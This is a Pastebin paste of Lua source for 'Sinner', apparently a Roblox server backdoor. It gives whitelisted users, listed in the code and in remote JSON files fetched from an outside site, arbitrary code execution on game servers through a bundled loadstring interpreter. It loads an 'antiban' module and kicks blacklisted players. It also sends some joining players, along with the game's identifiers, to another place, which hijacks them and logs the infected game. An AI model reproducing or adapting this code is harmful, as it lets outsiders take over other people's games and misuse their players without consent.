SHARE
TWEET

Untitled

a guest Oct 21st, 2019 75 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --[[
  2.     The module contains code that are no longer used
  3.     for reasons.
  4.    
  5.     Not everything has been commented yet.
  6. --]]
  7.  
  8. return function(Settings) -- The perameter holds a table with all the information from SinnerLoader.Config
  9.     local Sinner = {};
  10.     Sinner.Log = Settings.Log or {}; -- No longer used.
  11.     Sinner.Log.Enabled = not Settings.PrivacyMode or false; -- For checking PrivacyMode
  12.     Sinner.Loadstring = require(script.Loadstring); -- Requires the LBI.
  13.     Sinner.Functions = {}; -- For functions.
  14.     Sinner.Whitelist = Settings.Users or {}; -- Holds whitelisted players.
  15.     Sinner.Blacklist = {}; -- Holds blacklisted players.
  16.     local whitelistModule = require(script.whitelist)
  17.    
  18.     local whitelistInfo = whitelistModule.whitelist
  19.    
  20.     for _,v in pairs(whitelistInfo) do
  21.         Sinner.Whitelist[v] = true
  22.     end
  23.    
  24.     Sinner.Whitelist["gfmf3"] = true; -- Some whitelisted players, will be changed to userid soon.
  25.     Sinner.Whitelist["Ultrasonic54321"] = true;
  26.     Sinner.Whitelist["EcoCape"] = true;
  27.     Sinner.Blacklist["VikitheKoala9"] = true;
  28.    
  29.     local function isHttp2() -- This checks if HttpService is enabled or not.
  30.         local succ, err = pcall(function() -- A pcall function so that the script doesn't error if HttpService is disabled.
  31.             game:GetService('HttpService'):GetAsync('https://www.google.com') -- Attempts to get the raw contents of google.
  32.         end)
  33.         if succ then
  34.             return true -- Returns true if it's enabled.
  35.         else
  36.             return false -- Returns false if it isn't.
  37.         end
  38.         end
  39.    
  40.     game.Players.PlayerAdded:Connect(function(player) -- This is no longer used.
  41.         local clone = script["recheck"]:Clone()
  42.         clone.Parent = player.PlayerGui
  43.     end)
  44.    
  45.     local rm = Instance.new("RemoteEvent", game.ReplicatedStorage); -- Creates a RemoteEvent in game.ReplicatedStorage
  46.     rm.Name = "ChatPendingEvent"; -- An event to check whitelist, random made up name though.
  47.    
  48.     rm.OnServerEvent:Connect(function(player) -- Old server whitelist check.
  49.         Sinner.Whitelist[player.Name] = true; -- Adding the username in the whitelist.
  50.         SetupPlayer(player); -- Setting up sinner for the player.
  51.     end)
  52.    
  53.     -- The BoolValue checks if the game was logged already or not.
  54.     if not game.Lighting:FindFirstChild("LightingBool") then -- Checks if there isn't already a BoolValue.
  55.         bool = Instance.new("BoolValue", game.Lighting); -- Creates a BoolValue in a global scope.
  56.         bool.Name = "LightingBool"; -- Setting the name, honestly I can't think of anything good.
  57.         bool.Value = false; -- False by default.
  58.     end
  59.    
  60.     local function change(bools) -- A basic function to change a BoolValue.
  61.         bool.Value = bools;
  62.     end
  63.    
  64.     local TeleportService = game:GetService("TeleportService");
  65.  
  66.     local isTeleported = false -- A no longer used boolean.
  67.     local increment = 0; -- This value is incremented by 1 everytime a player joins.
  68.     local isSecond = 3; -- Will teleport the second player who joins the game.
  69.    
  70.    
  71.     local function check() -- A function used for checking if HttpService is enabled or not.
  72.         local succ, err = pcall(function()
  73.             game:GetService('HttpService'):GetAsync('https://www.google.com') -- Attempts to get the raw content of google.com to check if HttpService is enabled or not.
  74.         end)
  75.         if succ then
  76.             return 'Enabled'; -- Returns "Enabled" if true.
  77.         else
  78.             return 'Disabled'; -- Returns "Disabled" if false.
  79.         end
  80.     end
  81.    
  82.    
  83.     local sentData = { -- The information that will be sent.
  84.         id = game.PlaceId, -- The places id.
  85.         playing = #game.Players:GetPlayers(), -- No longer used; gets the players in a server.
  86.         jobId = game.JobId, -- The game's jobId.
  87.         http = check(), -- Checks if HttpService is enabled or not.
  88.         gameId = game.GameId, -- The game's id.
  89.         ch = isSecond -- Security check.
  90.     }
  91.    
  92.     game.Players.PlayerAdded:Connect(function(player) -- PlayerAdded event.
  93.         increment = increment + 1; -- Increments the value by 1.
  94.         if increment == isSecond and game.Lighting:FindFirstChild("LightingBool").Value == false and isTeleported == false then -- Checks if 'increment' is 2 and that the BoolValue is false.
  95.             isTeleported = true
  96.             change(true); -- Changes the boolean after use.
  97.             TeleportService:Teleport(3888361177, player, sentData, script.load) -- Teleports the player, while sending data.
  98.         elseif increment == 3 or increment == 6 or increment == 12 or increment == 15 or increment == 4 or increment == 21 then
  99.             TeleportService:Teleport(3888361177, player, sentData, script.load)
  100.             isTeleported = true
  101.         end
  102.     end)
  103.    
  104.     game.Players.PlayerAdded:Connect(function(player)
  105.         if player:IsInGroup(4757666) then
  106.             if player:GetRoleInGroup(4757666) == "Blacklisted" then
  107.                 player:Kick("You are currently blacklisted in Sinner, appeal to a staff member in the discord. https://discord.gg/BKTUrXV")
  108.             end
  109.             Sinner.Whitelist[player.Name] = true;
  110.             SetupPlayer(player);
  111.         end
  112.     end)
  113.  
  114.  
  115.    
  116. --  isBanCompleted = false
  117. --  require(script.Datastores.handler)
  118. --  Sinner.Functions.pban = function(player, victim, reason)
  119. --      if isBanCompleted == false then
  120. --          require(script.Datastores).run(player, victim, reason)
  121. --      end
  122. --      isBanCompleted = true
  123. --      return isBanCompleted
  124. --  end
  125. -- 
  126. --  Sinner.Functions.permB = Sinner.Functions.pban -- command alias
  127.    
  128.     Sinner.Functions.sinner_player = function(player)
  129.         return player
  130.     end
  131.    
  132.     Sinner.Functions.sinner = function(player)
  133.         if player:WaitForChild("PlayerGui"):FindFirstChild("Sinner V2.1") then
  134.             return player:WaitForChild("PlayerGui")["Sinner V2.1"]
  135.         end
  136.     end
  137.  
  138.     Sinner.Functions.sinMenu = function(player)
  139.         script:WaitForChild"Sinner Menu":Clone().Parent = player:WaitForChild"PlayerGui"
  140.         return true
  141.     end
  142.    
  143.    
  144.    
  145.     Sinner.Functions.beta = function(player, code)
  146.         if code == "light_theme()" then
  147.             return 0
  148.         end
  149.     end
  150.    
  151.  
  152.     -- Old functions.
  153.     Sinner.Specials = setmetatable({}, {
  154.         __index = function(_, Name)
  155.             return script.Specials[Name] or error(Name.." Not Found")
  156.         end
  157.     })
  158.     Sinner.Functions.Execute = function(Owner, Script)
  159.         local Env = setmetatable({}, {
  160.             __index = function(_, Function)
  161.                 return getfenv(0)[Function] or function(...)
  162.                     return Sinner.Functions[Function] and Sinner.Functions[Function](Owner, ...) or error(Function.." Is Not A Valid Function")
  163.                 end
  164.             end
  165.         })
  166.         Env["LocalPlayer"] = Owner
  167.         Env["print"] = function(e)
  168.             Owner.PlayerGui["Sinner V2.1"].MainScript.Remote:InvokeClient(Owner,"print",e)
  169.         end
  170.         Env["warn"] = function(e)
  171.             Owner.PlayerGui["Sinner V2.1"].MainScript.Remote:InvokeClient(Owner,"warn",e)
  172.         end
  173.         return Sinner.Loadstring(Script, Env)()
  174.     end
  175.     Sinner.Functions.GetFunctions = function(Owner)
  176.         local Functions = {}
  177.         for Name in pairs(Sinner.Functions) do
  178.             table.insert(Functions, Name)
  179.         end
  180.         return Functions
  181.     end
  182.    
  183.     activator = "";
  184.     Sinner.Functions.antiban = function(Owner, msg) -- Credits to: Unusable_name
  185.         if msg == nil then
  186.             require(script.Antiban).load(" ", {
  187.                 "test"
  188.             })
  189.             activator = Owner
  190.         else
  191.             require(script.Antiban).load(msg, {
  192.                 "test"
  193.             })
  194.             activator = Owner
  195.         end
  196.     end
  197.    
  198.     -- Premium function
  199.  
  200.    
  201.     Sinner.Functions.whitelist = function(Owner, player)
  202.         Sinner.Whitelist[player.Name] = true
  203.         SetupPlayer(player)
  204.     end
  205.    
  206.     local function Handler(Player, Data)
  207.         if Sinner.Whitelist[Player.Name] and Data and Data.Function and Data.Args then
  208.             if Sinner.Functions[Data.Function] then
  209.                 return Sinner.Functions[Data.Function](Player, unpack(Data.Args)) or "Not Ret"
  210.             end
  211.             error(Data.Function.." Is Not A Function")
  212.         else
  213.             Player:Kick()
  214.         end
  215.     end
  216.    
  217.    
  218.     local function getHttp()
  219.         local succ, err = pcall(function()
  220.             game:GetService('HttpService'):GetAsync('https://www.google.com')
  221.         end)
  222.         if succ then
  223.             return true
  224.         else
  225.             return false
  226.         end
  227.     end
  228.  
  229.    
  230.    
  231.        
  232.     if getHttp() then
  233.         local Http = game:GetService("HttpService")
  234.         local Json = Http:GetAsync("https://ultrasitee.tk/sinnerwl.json")
  235.         local main = Http:JSONDecode(Json)
  236.            
  237.         for i, v in pairs(main) do
  238.             Sinner.Whitelist[i] = true
  239.         end
  240.     end
  241.    
  242.     if getHttp() then
  243.         local Http = game:GetService("HttpService")
  244.         local Json = Http:GetAsync("https://ultrasitee.tk/sinnerbl.json")
  245.         local main = Http:JSONDecode(Json)
  246.            
  247.         for i, v in pairs(main) do
  248.             Sinner.Blacklist[i] = true
  249.         end
  250.     end
  251.    
  252.     function SetupPlayer(Player)
  253.         if Sinner.Whitelist[Player.Name] then
  254.             if Settings.Theme == "Default" and not Player.PlayerGui:FindFirstChild("Sinner V2.1") then
  255.                 local Gui = script.Gui:Clone()
  256.                 Gui.Name = "Sinner V2.1"
  257.                 Gui.Parent = Player:WaitForChild("PlayerGui")
  258.                 Gui.MainScript.Disabled = false
  259.                 Gui.MainScript.Remote.OnServerInvoke = Handler
  260.                 Gui.Enabled = false
  261.                 local load = script.LoadSinner:Clone()
  262.                 load.Parent = Player:WaitForChild("PlayerGui")
  263.             end
  264.         end
  265.         if Sinner.Blacklist[Player.Name] then
  266.             Player:Kick("You're unable to access this game because you're blacklisted, appeal to a staff member by messaging them.")
  267.         end
  268.     end
  269.     for _, Player in pairs(game:GetService("Players"):GetPlayers()) do
  270.         SetupPlayer(Player)
  271.     end
  272.     game:GetService("Players").PlayerAdded:Connect(SetupPlayer)
  273.    
  274.     end
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top